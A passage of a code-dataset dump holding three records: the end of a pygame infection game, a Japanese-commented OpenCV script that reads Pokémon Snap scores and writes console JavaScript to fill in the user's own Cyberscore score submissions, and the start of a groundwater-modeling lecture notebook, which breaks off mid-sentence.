viruslist:\n            if m.infected == False and (sqrt(((v.x - m.x)**2)+((v.y - m.y)**2)) <= (m.size + v.size)):\n                m.infected = True\n                infectedsound.play()\n                m.infectedTime = pygame.time.get_ticks()\n                print(m.infectedTime)\n                m.color = (39,134,39)\n                viruslist.remove(v)\n\n\nwhile running:\n    for event in pygame.event.get():\n        \n        if event.type == pygame.QUIT:\n            running = False\n            sys.exit()\n        \n        if event.type == pygame.KEYDOWN:\n            \n            if event.key == pygame.K_m:\n                m = create_murloc()\n                murloclist.append(m)\n            if event.key == pygame.K_c:\n                surface.fill(COLOR_BLACK)\n            if event.key == pygame.K_v:\n                v = create_virus()\n                viruslist.append(v)\n            if event.key == pygame.K_d:\n                swch = 4      \n    \n\n    move_murlocs()\n    move_virus()\n    infections(murloclist, viruslist)\n\n    pygame.display.update()\n    surface.fill(COLOR_BLACK)", "meta": {"hexsha": "fe18529692af71c910d097d07d3b958649846694", "size": 4654, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "Mort1J1/Python-spill", "max_stars_repo_head_hexsha": "c81cfa2d0d9a3a921645e3d292bf4193fd5fd030", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main.py", "max_issues_repo_name": "Mort1J1/Python-spill", "max_issues_repo_head_hexsha": "c81cfa2d0d9a3a921645e3d292bf4193fd5fd030", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "Mort1J1/Python-spill", "max_forks_repo_head_hexsha": "c81cfa2d0d9a3a921645e3d292bf4193fd5fd030", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.7553191489, "max_line_length": 102, "alphanum_fraction": 0.5605930382, "include": true, "reason": "from scipy", "num_tokens": 1276, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.17106119801750538, "lm_q1q2_score": 0.08686690587110356}}
{"text": "import cv2\r\nimport os\r\nimport sys\r\nimport numpy as np\r\nimport glob\r\nimport datetime\r\n\r\ndef main():\r\n    # \u30dd\u30b1\u30e2\u30f3\u6570\u306b\u95a2\u3059\u308b\u5b9a\u6570\r\n    pNumSum = 234   # \u30dd\u30b1\u30e2\u30f3\u7dcf\u6570\r\n    pNum1st = 214   # DLC\u306a\u3057\u306e\u30dd\u30b1\u30e2\u30f3\u6570\r\n    pNum2nd = 234   # 1\u56de\u76ee\u306eDLC\u8fbc\u306e\u30dd\u30b1\u30e2\u30f3\u6570\r\n    pID1st = 464550 # DLC\u306a\u3057\u306eCyberrecord\u306e\u30dd\u30b1\u30e2\u30f3ID\u306e\u6700\u521d\r\n    pID2nd = 472761 # DLC\u3042\u308a\u306eCyberrecord\u306e\u30dd\u30b1\u30e2\u30f3ID\u306e\u6700\u521d\r\n\r\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\r\n\r\n    # \u30d5\u30a1\u30a4\u30eb\u540d\u7528\u306b\u6642\u523b\u53d6\u5f97\r\n    now = datetime.datetime.now(datetime.timezone(datetime.timedelta(hours=9)))\r\n    ymdhms = now.strftime(\"%Y%m%d%H%M%S\")\r\n    test =glob.glob(\"./images/*.jpg\")\r\n    \r\n    # \u7d50\u679c\u5165\u529b\u306e\u521d\u671f\u5316\r\n    result = []\r\n    for i in range(pNumSum):\r\n        result.append([0, 0, 0, 0])\r\n\r\n    # \u30cf\u30a4\u30b9\u30b3\u30a2\u753b\u50cf\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u4fdd\u5b58\r\n    highImg = []\r\n    for i in range(pNumSum):\r\n        highImg.append([\"\", \"\", \"\", \"\"])\r\n\r\n    with open(\"./\" + ymdhms + \"_detail.csv\", \"w\") as f:\r\n        # \u753b\u50cf\u8aad\u307f\u8fbc\u307f\r\n        for i, t in enumerate(test):\r\n            img = cv2.imread(t, cv2.IMREAD_GRAYSCALE)\r\n            zukanNo = getZukanNo(img)\r\n            f.write(str(zukanNo))\r\n            f.write(\", \")\r\n            starNum = getStar(img)\r\n            f.write(str(starNum))\r\n            f.write(\", \")\r\n            scoreSum = getScoreSum(img)\r\n            f.write(str(scoreSum))\r\n            # \u8907\u6570\u679a\u540c\u3058\u56f3\u9451ID\u306e\u30dd\u30b1\u30e2\u30f3\u306e\u5199\u771f\u304c\u3042\u3063\u305f\u969b\u306b\u3001\u305d\u306e\u4e2d\u3067\u306e\u6700\u5927\u5024\u3092\u6700\u9ad8\u5f97\u70b9\u3068\u3057\u3066\u8a18\u9332\u3059\u308b\r\n            if result[zukanNo - 1][starNum - 1] < scoreSum:\r\n                result[zukanNo - 1][starNum - 1] = scoreSum\r\n                highImg[zukanNo - 1][starNum - 1] = os.path.split(t)[1]\r\n            for j in range(6):\r\n                f.write(\", \")\r\n                f.write(str(getEachScores(img, j)))\r\n            f.write(\"\\n\")\r\n            # \u9032\u6357\r\n            sys.stdout.write(\"\\r\")\r\n            sys.stdout.write(\"{}/{}\".format(i, len(test)))\r\n            sys.stdout.flush()\r\n    with open(\"./\" + ymdhms + \"_sum.csv\", \"w\") as f:\r\n        f.write(\"No, 1-Star, 2-Star, 3-Star, 4-Star\\n\")\r\n        for i in range(len(result)):\r\n            f.write(str(i + 1))\r\n            for j in range(len(result[0])):\r\n                f.write(\", \")\r\n                if(result[i][j] == 0):\r\n                    f.write(\"\")\r\n                else:\r\n                    f.write(str(result[i][j]))\r\n            f.write(\"\\n\")\r\n    \r\n    # cs\u66f8\u304d\u51fa\u3057\u7528\r\n    with open(\"./\" + ymdhms + \"_cs-script.txt\", \"w\", encoding=\"utf-8\") as f:\r\n        f.write(\"* Score upload tool\\n\")\r\n        f.write(\"Open Cyberscore by Chrome or Firefox of PC (Not IE or Safari)\\n\")\r\n        f.write(\"https://cyberscore.me.uk/game/2785\\n\")\r\n        f.write(\"Click \\\"+ Submit records\\\"\\n\")\r\n        f.write(\"Check \\\"1\u2605 Photos\\\" and click \\\"Edit selected records\\\"\\n\")\r\n        f.write(\"Set \\\"Plat form:\\\" to \\\"Switch\\\".\\n\")\r\n        f.write(\"Open Developer Tools (If enabled, F12) -> Open \\\"Console\\\" tab.\\n\")\r\n        f.write(\"Copy the below codes and paste the console (Attention is shown if Firefox).\\n\")\r\n        f.write(\"Click \\\"Save changes\\\"\\n\")\r\n        f.write(\"Repeat  for \\\"2\u2605 Photos\\\", \\\"3\u2605 Photos\\\", \\\"4\u2605 Photos\\\"\\n\\n\")\r\n\r\n        f.write(\"a=[\")\r\n        for i in range(len(result[0])):\r\n            f.write(\"[\")\r\n            for j in range(len(result)):\r\n                f.write(\"\\\"\")\r\n                if(result[j][i] != 0):\r\n                    f.write(str(result[j][i]))\r\n                f.write(\"\\\"\")\r\n                f.write(\",\")\r\n            f.write(\"\\\"\\\"],\")   # \u9762\u5012\u306a\u306e\u3067\u3001,\u304c\u6b8b\u3089\u306a\u3044\u3088\u3046\u306b0\u3092\u5165\u308c\u3066\u304a\u304f\r\n        f.write(\"[]\")   # \u9762\u5012\u306a\u306e\u3067\u3001,\u304c\u6b8b\u3089\u306a\u3044\u3088\u3046\u306b\u7a7a\u914d\u5217\u3092\u5165\u308c\u3066\u304a\u304f\r\n\r\n        f.write(\"];\" + \\\r\n            \"for(p=0;p<\" + str(pNum1st) + \";p++){\" + \\\r\n                \"for(s=0;s<4;s++){\" + \\\r\n                    \"e=document.getElementsByName((\" + str(pID1st) + \"+p+s*\" + str(pNum1st) + \")+'-input1')[0];\" + \\\r\n                    \"if(e){\" + \\\r\n                        \"e.value=a[s][p];\" + \\\r\n                    \"}\" + \\\r\n                \"}\" + \\\r\n            \"}\" + \\\r\n            \"for(p=\" + str(pNum1st) +\";p<\" + str(pNum2nd) + \";p++){\" + \\\r\n                \"for(s=0;s<4;s++){\" + \\\r\n                    \"e=document.getElementsByName((\" + str(pID2nd) + \"+p-\" + str(pNum1st) + \"+s*\" + str(pNum2nd - pNum1st) + \")+'-input1')[0];\" + \\\r\n                    \"if(e){\" + \\\r\n                        \"e.value=a[s][p];\" + \\\r\n                    \"}\" + \\\r\n                \"}\" + \\\r\n            \"}\" + \\\r\n        \"\\n\\n\")\r\n        f.write(\"* Proofs upload assist tool\\n\")\r\n        f.write(\"Use FireFox or Chrome\\n\")\r\n        f.write(\"Open \\\"Submit proofs\\\" -> \\\"Upload proofs from your device\\\"\\n\")\r\n        f.write(\"-> Open \\\"Developer tool\\\" in your browser (F12 key)\\n\")\r\n        f.write(\"-> Open \\\"Console\\\" tab -> Copy & paste the below codes\\n\")\r\n        f.write(\"-> File button is shown below the navigation bar (Home, Games, Scoreboards, The site, Forum, Search[])\\n\")\r\n        f.write(\"-> Upload all of images in \\\"images\\\" directory\\n\")\r\n        f.write(\"-> Appropriate files are input into each row.\\n\")\r\n        f.write(\"-> Click each \\\"Upload proof\\\" button manually\\n\\n\")\r\n        f.write(\"let arr = {\")\r\n        for i in range(len(highImg)):\r\n            for j in range(len(highImg[0])):\r\n                if(highImg[i][j] != \"\"):\r\n                    if(i <= pNum1st):    \r\n                        f.write(str(pID1st + i + j * pNum1st))\r\n                        f.write(\":\\\"\")\r\n                        f.write(str(highImg[i][j]))\r\n                        f.write(\"\\\",\")\r\n                    else:\r\n                        f.write(str(pID2nd + i - pNum1st + j * (pNum2nd - pNum1st)))\r\n                        f.write(\":\\\"\")\r\n                        f.write(str(highImg[i][j]))\r\n                        f.write(\"\\\",\")\r\n        f.write(\"0:\\\"\\\"};fileInput = document.createElement(\\\"input\\\");fileInput.type = \\\"file\\\";fileInput.multiple = true;fileInput.addEventListener(\\\"change\\\", e => {const {files} = e.target;for(let i = 0; i < document.forms.length; i++){let tempForm = document.forms[i];if(!tempForm.chart_id){continue;}const id = tempForm.chart_id.value;if(id in arr){const input = tempForm.proof_file;const fileName = arr[id];for(let j = 0; j < files.length; j++){let file = files[j];if(file.name == fileName){const dt = new DataTransfer();dt.items.add(file);input.files = dt.files;break;}}}}}, false);const pageRoot = document.getElementById(\\\"pagefull\\\");pageRoot.insertBefore(fileInput, pageRoot.firstChild);\\n\\n\")\r\n        f.write(\"* \\\"Upload proof\\\" automatic click tool\\n\")\r\n        f.write(\"This tool may not work properly depending on your environment, \\nso I do not provide any support for it.\\n\")\r\n        f.write(\"Disable popup blocker.\\n\")\r\n        f.write(\"Replace \\\"1\\\" in the first line of the below script with \\\"(the number of seconds it takes to upload) + 3\\\".\\n\")\r\n        f.write(\"Use the developer tool of Firefox, not Chrome\\n\")\r\n        f.write(\"Attention: Tremendous tabs will be opened, so close them accordingly.\\n\")\r\n        f.write(\"\\n\")\r\n        f.write(\"let interval = 1;\\nfor(let i = 0; i < document.forms.length; i++){\\n    let tempForm = document.forms[i];\\n    if(!tempForm.chart_id){\\n        continue;\\n    }\\n    setTimeout(\\n        function(f){\\n            f.click();\\n        }\\n    , interval * 1000 * i, tempForm[tempForm.length - 1]);\\n}\\n\")\r\n\r\n        \r\ndef getStar(img):\r\n    ## \u661f\u306e\u6570\u3092\u691c\u51fa\r\n    # \u5207\u308a\u51fa\u3057 img[top : bottom, left : right]\r\n    img_stars = img[64 : 64 + 30, 199 : 199 + 122]\r\n\r\n    # \u4e2d\u57cb\u3081\r\n    cv2.floodFill(img_stars, None, (0, 0), (0, 0, 0), loDiff=(50, 50, 50), upDiff=(50, 50, 50), flags=(4 | cv2.FLOODFILL_FIXED_RANGE))\r\n\r\n    ## 2\u5024\u5316\r\n    threshold = 0\r\n    _, img_binary = cv2.threshold(img_stars, threshold, 255, cv2.THRESH_BINARY)\r\n\r\n    # \u661f\u306e\u6570\u3092\u7b97\u51fa\r\n    contours, _ = cv2.findContours(img_binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\r\n    return len(contours)\r\n\r\n\r\ndef getZukanNo(img):\r\n    # \u7279\u5fb4\u70b9\u62bd\u51fa\u6642\u306b\u3001\u4f59\u767d\u304c\u306a\u3044\u3068\u3060\u3081\u3060\u304b\u3089\u3001\u305d\u306e\u4f59\u767d\u306e\u5927\u304d\u3055\r\n    yohaku = 10\r\n    # \u6587\u5b57\u4f4d\u7f6e\r\n    position = [725, 734, 743]\r\n    widthNum = 10\r\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\r\n    descriptors = [\r\n        np.load(\"./Descriptors/ZukanNo_0.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_1.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_2.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_3.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_4.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_5.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_6.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_7.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_8.npy\"),\r\n        np.load(\"./Descriptors/ZukanNo_9.npy\")\r\n    ]\r\n    img = cv2.bitwise_not(img)\r\n\r\n    imgs = []\r\n    for i in range(len(position)):\r\n        img_temp = img[144 : 161, position[i] : position[i] + widthNum ]\r\n        img_temp = cv2.copyMakeBorder(img_temp, yohaku, yohaku, yohaku, yohaku, cv2.BORDER_CONSTANT,value=[255,255,255])\r\n        imgs.append(img_temp)\r\n    return predict(imgs, descriptors)\r\n\r\ndef getEachScores(img, row):\r\n    # \u7279\u5fb4\u70b9\u62bd\u51fa\u6642\u306b\u3001\u4f59\u767d\u304c\u306a\u3044\u3068\u3060\u3081\u3060\u304b\u3089\u3001\u305d\u306e\u4f59\u767d\u306e\u5927\u304d\u3055\r\n    yohaku = 10\r\n    # \u6587\u5b57\u4f4d\u7f6e\r\n    position = [1005, 1023, 1035, 1047]\r\n    widthNum = 13\r\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\r\n    descriptors = [\r\n        np.load(\"./Descriptors/ScoreSmall_0.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_1.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_2.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_3.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_4.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_5.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_6.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_7.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_8.npy\"),\r\n        np.load(\"./Descriptors/ScoreSmall_9.npy\"),\r\n    ]\r\n\r\n    imgs = []\r\n    for i in range(len(position)):\r\n        img_temp = img[243 + int(row * 31.4) : 243 + int(row * 31.4) + 20, position[i] : position[i] + widthNum ]\r\n        img_temp = cv2.copyMakeBorder(img_temp, yohaku, yohaku, yohaku, yohaku, cv2.BORDER_CONSTANT,value=[255,255,255])\r\n        imgs.append(img_temp)\r\n    return predict(imgs, descriptors)\r\n\r\ndef getScoreSum(img):\r\n    # \u7279\u5fb4\u70b9\u62bd\u51fa\u6642\u306b\u3001\u4f59\u767d\u304c\u306a\u3044\u3068\u3060\u3081\u3060\u304b\u3089\u3001\u305d\u306e\u4f59\u767d\u306e\u5927\u304d\u3055\r\n    yohaku = 10\r\n    # \u6587\u5b57\u4f4d\u7f6e\r\n    position = [968, 999, 1020, 1041]\r\n    widthNum = 21\r\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\r\n    descriptors = [\r\n        np.load(\"./Descriptors/ScoreLarge_0.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_1.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_2.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_3.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_4.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_5.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_6.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_7.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_8.npy\"),\r\n        np.load(\"./Descriptors/ScoreLarge_9.npy\")\r\n    ]\r\n\r\n    imgs = []\r\n    for i in range(len(position)):\r\n        img_temp = img[199 : 233, position[i] : position[i] + widthNum ]\r\n        img_temp = cv2.copyMakeBorder(img_temp, yohaku, yohaku, yohaku, yohaku, cv2.BORDER_CONSTANT,value=[255,255,255])\r\n        imgs.append(img_temp)\r\n    return predict(imgs, descriptors)\r\n\r\n\r\ndef predict(img, img_temp):\r\n    result = 0\r\n    threshold = 150\r\n    for i, target in enumerate(img):\r\n        predict = 0\r\n        # \u6587\u5b57\u304c\u5b58\u5728\u3059\u308b\u304b\u306e\u5224\u5b9a\u7528\u306b2\u5024\u5316\r\n        _, isBlank = cv2.threshold(target, threshold, 255, cv2.THRESH_BINARY)\r\n        if(np.any(cv2.bitwise_not(isBlank))):    # \u6587\u5b57\u304c\u3042\u308b\u304b\u306e\u5224\u5b9a\r\n            score = 0\r\n            for j, template in enumerate(img_temp):\r\n                _, maxVal, _, _ = cv2.minMaxLoc(cv2.matchTemplate(target, template, cv2.TM_CCOEFF_NORMED))\r\n                if(score < maxVal):\r\n                    score = maxVal\r\n                    predict = j\r\n        result = result + predict * pow(10, len(img) - i - 1)\r\n    return result\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()", "meta": {"hexsha": "82733e36be93c3531a8e7f9c288c76f7ea67cdfb", "size": 11641, "ext": "py", "lang": "Python", "max_stars_repo_path": "PSnapOCR.py", "max_stars_repo_name": "KYU49/PSnapOCR", "max_stars_repo_head_hexsha": "3010f07cf6f43d2b73b04c479501bf802bb8017a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PSnapOCR.py", "max_issues_repo_name": "KYU49/PSnapOCR", "max_issues_repo_head_hexsha": "3010f07cf6f43d2b73b04c479501bf802bb8017a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-28T08:56:04.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-29T06:35:16.000Z", "max_forks_repo_path": "PSnapOCR.py", "max_forks_repo_name": "KYU49/PSnapOCR", "max_forks_repo_head_hexsha": "3010f07cf6f43d2b73b04c479501bf802bb8017a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.9283018868, "max_line_length": 706, "alphanum_fraction": 0.5349196804, "include": true, "reason": "import numpy", "num_tokens": 3411, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.17106119379155804, "lm_q1q2_score": 0.08686690372511736}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport scipy.special as sci\nimport matplotlib.pyplot as plt\nfrom scipy import stats # linregress\nimport pandas as pd\nfrom IPython.display import Latex\n\n\n# # Lecture 11:  Background of Groundwater Modeling\n# \n# \n# _(The contents presented in this section were re-developed principally by Dr. P. K. Yadav. The original contents are from Prof. Rudolf Liedl)_\n# \n# ---\n# \n# ## Motivation ### \n# \n# This lecture introduces the realm of mathematical modeling realm in groundwater studies. In the previous lectures the fundamental quantities, their properties and approach to quantify them were discussed. Those information were then used to develop system equations for varieties of groundwater problems. It was discussed then that these system equations require mathematical approaches the theory for which have to be systematically discussed and understood. Groundwater modeling can then be described as the systematic use of mathematical approaches leading to solution of the groundwater problem.\n# \n# \n# Groundwater modeling is often the first step towards understanding and solving groundwater problems/issues. Groundwater modeling is a very broad topic, this and the following lectures only introduces fundamental part of groundwater modeling. In this course we focus on groundwater flow problems.\n\n# ## Introduction ##\n# \n# ### What is a Model? ###\n# \n# Very succinctly a  **model** is a representation, which may be an image or a description of a real system. The description can be of different form (e.g., scales), of different level of detail (e.g., conceptual versus mathematical). The **system** to be modeled can be a **real** or also **conceptual**. A very relevant example of a real system for this course is the Darcy's experiment (see figure below), in which water is made  to flow through the porous media.\n# \n# \n# ```{figure} images/M11_f1.png\n# ---\n# scale: 60%\n# align: center\n# name: Darcy\n# ---\n# Darcy's experimental setup<sup>[^Darcy(1856)]</sup>\n# ```\n# With Darcy's experiment, one could set-up a mathematical model to relate flow rate and hydraulic gradient ($h$). As model is _only an image_ of the real system, several assumptions have to be made in it's development. At many instances the model can not be set without these assumptions. In other cases solution of the model may not be possible without these assumptions being part of the model development. Darcy\u2018s Law, for instance, does not provide an exact representation of flow through individual pore channels. Rather, **average** flow behaviour through **many** pore channels is represented.\n#   \n# \n# [^Darcy(1856)]: Darcy, H., Les Fontaines Publiques de la Ville de Dijon, Dalmont, Paris, 1856.\n# \n\n# ### Model Types: Process-Based and Empirical Models ###  \n# \n# Model can be classified in many ways. The following two types of classification are a more general way to classify models:\n# \n# > 1. **Conceptual models**\n# \n# > 2. **Process-Based and Empirical Models**\n# \n# > 3. **Mathematical models**\n# \n# #### Conceptual models ####\n# \n# The **conceptual models** is classification of models that distinguishes the qualitative from the quantitative description of a real system. A **conceptual model** provides a qualitative representation of the relevant system components, processes, and impacts in the area of investigation. This representation is usually shown graphically, e.g., as block models (see figure {ref}`Cmodel`). It will be shown later that conceptual model in fact is the first block in the development of a mathematical model. \n# \n# ```{figure} images/M11_f3.png\n# ---\n# scale: 20%\n# align: center\n# name: Cmodel\n# ---\n# A conceptual model showing different components of a hydrological system that can impact groundwater.\n# ```\n# \n# \n# #### Physically based models and Empirical models ####\n# \n# The **physically based models** also referred to as **process-based** models are models that exclusively relies on the fundamental physical laws - e.g., law of conservation of mass, energy, volume. _Compartment_  based models are example of physically based models.\n# \n# Contrary to use of fundamental physical laws, **empirical models** are developed on the basis on experimental/collected data. Sorption isotherms that were developed in lecture [(10)](/contents/transport/lecture_10/22_reactive_transport) are types of emperical models. As was with the isotherms, these types of models are often based on regression analysis. Figure below show a prediction (blue) line as a predictor of data.\n# \n\n# In[2]:\n\n\nfrom myst_nb import glue\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\n\n# x from 0 to 30\nx = 30 * np.random.random((20, 1))\n\n# y = a*x + b with noise\ny = 0.2 * x + 3.0 + np.random.normal(size=x.shape)\n\n# create a linear regression model\nmodel = LinearRegression()\nmodel.fit(x, y)\n\n# predict y from the data\nx_new = np.linspace(0, 30, 100)\ny_new = model.predict(x_new[:, np.newaxis])\n\n# plot the results\nfig, ax = plt.subplots(figsize=(6, 4))\nax.scatter(x, y, c=\"red\", label = \"data\")\nax.plot(x_new, y_new, label = \"prediction\")\n\nax.set_ylabel(r'Discharge (m$^3$/s)')\nax.set_xlabel('Hydraulic Head (m)')\n\nax.axis('tight')\nax.legend()\n\nplt.close(fig)\nglue(\"em_fit\", fig, display=False ) \n\n\n# ```{glue:figure} em_fit\n# :figwidth: 600px\n# :name: \"empirical\"\n# \n# Empirical relation between hydraulic head and discharge.\n# ```\n# \n# In certain cases **hybrid models**, e.g. **semi-empirical** models can also occur. These models combines the components of empirical/numerical and analytical models. Darcy's law in fact is a semi-empirical model. On the one hand, it is based on the momentum conservation.  On the other hand, it is not possible to _strictly_ deduce the direct proportionality between flow rate and hydraulic gradient by averaging the flow behaviour over all pores.\n# \n\n# #### Mathematical models ####\n# \n# A **mathematical model** provides a quantitative representation of the relevant system components (described by for e.g., conceptual model),processes (e.g., described by physical model) and impacts in the area of investigation. The quantitative representation is based on mathematical equations. The system equations, that were developed and discussed in Lecture [(7)](/contents/flow/lecture_07/17_quantify_flow) are mathematical models. \n# \n# System equation or mathematical models can in certain cases be solved directly resulting to an _exact solution_ called **analytical solution**. Theis equation that was developed in Lecture [(8)](/contents/flow/lecture_08/18_wells) to quantify aquifer drawdown resulting from pumping of groundwater is an example of an analytical solution. \n# \n# For more complex problems, often a more natural groundwater conditions, only _approximate_ (or non-exact) solution called **numerical solution** can be  obtained. Numerical solutions are obtained after converting the system equation to so called **numerical models**. \n# \n# Our focus in this introductory modeling lecture is to understand the development and solution of _numerical model_ of simple groundwater flow problems. \n# \n# \n\n# ### Example of an Analytical Solution ###\n# \n# Consider a conceptual model presented in the Figure {ref}`Ditch`. The unconfined aquifer separates two surface exposed water bodies. The water body in the left has a higher hydraulic head ($h_0$, [L]) compared to that on the right ($h_u$). Thus the flow of water is from left water body to the right one along the separating aquifer. In this scenario one of the problem to address will be to understand how the aquifer reacts to change in heads of water bodies. Additionally, how additional water, e.g., from precipitation/recharge ($N$, [L/T]), will effect the aquifer water.\n# \n# ```{figure} images/M11_f4.png\n# ---\n# scale: 20%\n# align: center\n# name: Ditch\n# ---\n# Conceptual model of a flow between two water bodies separated by unconfined aquifer\n# ```\n# The conceptual problem can be addressed when assumptions such as steady condition prevails, Darcy's law in aquifer is valid, recharge rate are relatively low. Based on the these assumptions, one of the **mathematical model** of this conceptual problem is:\n# \n# $$\n# \\frac{\\textrm{d}}{\\textrm{d}x}\\bigg(-h \\cdot K\\cdot \\frac{\\textrm{d}h}{\\textrm{d}x}  \\bigg) = N\n# $$\n# \n# and the 2 boundary conditions:\n# \n# $$\n# h(0) = h_0 \\:\\: \\text{and} \\:\\: h(L) = h_L\n# $$\n# \n# Note that a complete formulation of mathematical model requires accompanying boundary conditions. The boundary conditions are used to uniquely define the problem. An _analytical solution_ for this mathematical model and accompanying boundary condition is:\n# \n# $$\n# h(x) = \\sqrt{h_o^2 - (h_o^2 - h_L^2)\\cdot \\frac{x}{L} + \\frac{N}{K}\\cdot x \\cdot (L-x) }\n# $$\n# \n# The solution can be used to quantify change in aquifer head $h$ with different system quantities, e.g., conductivity $K$ [L/T], recharge $N$ [L/T] water body heights $h_0,\\, h_L$ [L] along the flow direction. \n# \n# The additional tool: _Conservative Transport_ ([TOOLS](/contents/tools/1D_ditchflow)) interactively simulates the ditch flow concept in more details.\n\n# ### Example problem  ###\n# \n# ```{admonition} Ditch flow\n# Explore the effect of recharge ($N= 0$ and $N= 0.1$ mm/d) on the aquifer level for the conceptual problem provided above. Other required data are provided below. \n# The effect are to be explored at mid of the aquifer\n# ``` \n# \n# \n\n# In[3]:\n\n\nprint(\"Provided are:\\n\")\n\nK = 2E-4 # hydraulic conductivity [m/s]\nHo = 10 # head at the origin [m]\nHu = 7.5 # head at L [m]\nL = 175 #flow length [m]\nN1 = 0 # no recharge [m/s]\nN2 = 1000 # recharge [mm/a]\n\n# intermediate calculation \nx = L/2 # mid of the aquifer [m]\nN_ = N2/1000/365/86400 # recharge, [m/s]\n\n#solution\nh1=(Ho**2-(Ho**2-Hu**2)/L*x+(N1/K*x*(L-x)))**0.5\nh2=(Ho**2-(Ho**2-Hu**2)/L*x+(N_/K*x*(L-x)))**0.5\n\nprint(\"hydraulic conductivity = {} m\\nhead at origin = {} m\\nhead at L = {} m\\nflow length = {} m\\nRecharge = {} mm/a\".format(K, Ho, Hu, L, N2 ),\"\\n\")\nprint(\"The resulting head without head is {:0.2f} m \\n\".format(h1))\nprint(\"The resulting head with head is {:0.2f} m \\n\".format(h2))\n\n\n# ### Example for a Model without Analytical Solution ###\n# \n# Analytical solutions are rather an exception. Natural aquifer or groundwater system are more complex (see figure below) and therefore analytical solution are not possible. The complexity in natural system are due to parameter heterogeneity and irregular model domain boundaries, and these must be included in underlying model equation. \n# \n# \n# ```{figure} images/M11_f5.png\n# ---\n# scale: 60%\n# align: center\n# name: nummodel\n# ---\n# The numerical model of a natural aquifer\n# ```\n# \n# \n# \n\n# ## Conceptual Model to Numerical Approach ##\n# \n# The first step in modeling is to establish the purpose of the model. With that established, the development of conceptual model begins the set-up of the numerical model. This is a step-wise process that includes:\n# \n# > 1. **Conceptual model** - providing hydrogeological units within the model domain\n# \n# > 2. **Water budgeting** - identifying water containing units and characterizing it\n# \n# > 3. **Numerical model** - Combining the units of conceptual model, water budgeting components and imposing _boundary conditions._ \n# \n# ```{figure} images/M11_f6.png\n# ---\n# scale: 60%\n# align: center\n# name: nummodel\n# ---\n# The numerical model of a natural aquifer\n# ```\n# \n# The water budgeting part should include the sources of water inflowing to the system including the expected flow directions and exiting water. Estimate of Groundwater recharge, overland flow etc, are few examples of inflows. Likewise, estimate of baseflow to streams, evapotranspiration, abstraction wells etc. are outflows. Field data are required to prepare water budget.\n# \n# The type of numerical model, depending on the modeling goal and required/available data, is then decided. The model type is mostly time-related (transient, steady) and dimension-related (1D,2D, 3D). \n\n# ### Data Requirements ###\n# \n# Numerical model are often very data intensive. Several types of data of different origin are required in the development of a numerical model. These data come from site data records/maps, field works, lab works and the ancillary mathematical analysis of the field and lab data. Overall, the required data can be:\n# \n# + topographical maps (with surface waters and water divides)\n# + geological maps, geological profiles (see figure {ref}`nummodel` example)\n# + maps with isolines of aquifer bottoms / thicknesses , aquitard bottoms / thicknesses\n# + maps indicating vertical extensions of sediments under rivers and lakes\n# + hydrogeological maps (hydraulic head isolines)\n# + water level time series in observation wells and rivers\n# + time series of spring discharges\n# + maps and profiles of hydraulic conductivity or transmissivity (also for river / lake sediments mentioned above)\n# + maps and profiles of storage coefficients\n# + information on spatial and temporal variability of inflow / outflow due to \n#   - groundwater recharge                                                     \n#   - evapotranspiration                                                       \n#   - interaction between groundwater and surface water                        \n#   - groundwater abstraction                                                  \n#   - natural groundwater flow\n# \n\n# ## Example of a Groundwater Model ##\n# \n# Let us now develop an example flow model. To begin with we set-up an overly simplified model that 